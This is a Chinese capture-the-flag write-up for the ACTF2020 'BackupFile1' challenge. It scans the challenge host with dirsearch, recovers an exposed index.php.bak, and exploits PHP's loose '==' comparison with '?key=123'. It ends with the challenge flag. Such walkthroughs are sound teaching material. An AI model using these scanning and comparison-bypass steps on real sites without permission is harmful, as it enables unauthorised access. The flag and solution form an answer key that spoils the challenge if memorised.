[ACTF2020 新生赛]BackupFile1

马船长2025-01-25 18:29

题目

翻译，尝试找出源文件！

扫目录使用参数-e *

python dirsearch.py -u http://0c3b21c0-d360-4baa-8b97-aa244f4c4825.node5.buuoj.cn:81/ -e *

最终扫描到一个文件名为：/index.php.bak的文件，把备份文件下载下来

源码

<?php
include_once "flag.php";

if(isset($_GET['key'])) {
    $key = $_GET['key'];
    if(!is_numeric($key)) {
        exit("Just num!");
    }
    $key = intval($key);
    $str = "123ffwsfwefwf24r2f32ir23jrw923rskfjwtsw54w3";
    if($key == $str) {
        echo $flag;
    }
}
else {
    echo "Try to find out source file!";
}

在PHP中：

= = 为弱相等，即当整数和字符串类型相比较时。会先将字符串转化为整数然后再进行比较。比如a=123和b=123admin456进行= =比较时。则b只会截取前面的整数部分。即b转化成123。

所以，这里的a = = b是返回True。

所以这里我们只需要提供一个参数?key=123就可以拿到flag了

/?key=123

拿下falg

flag{252d8da5-1fd5-48f9-87a5-606ce60db7c2}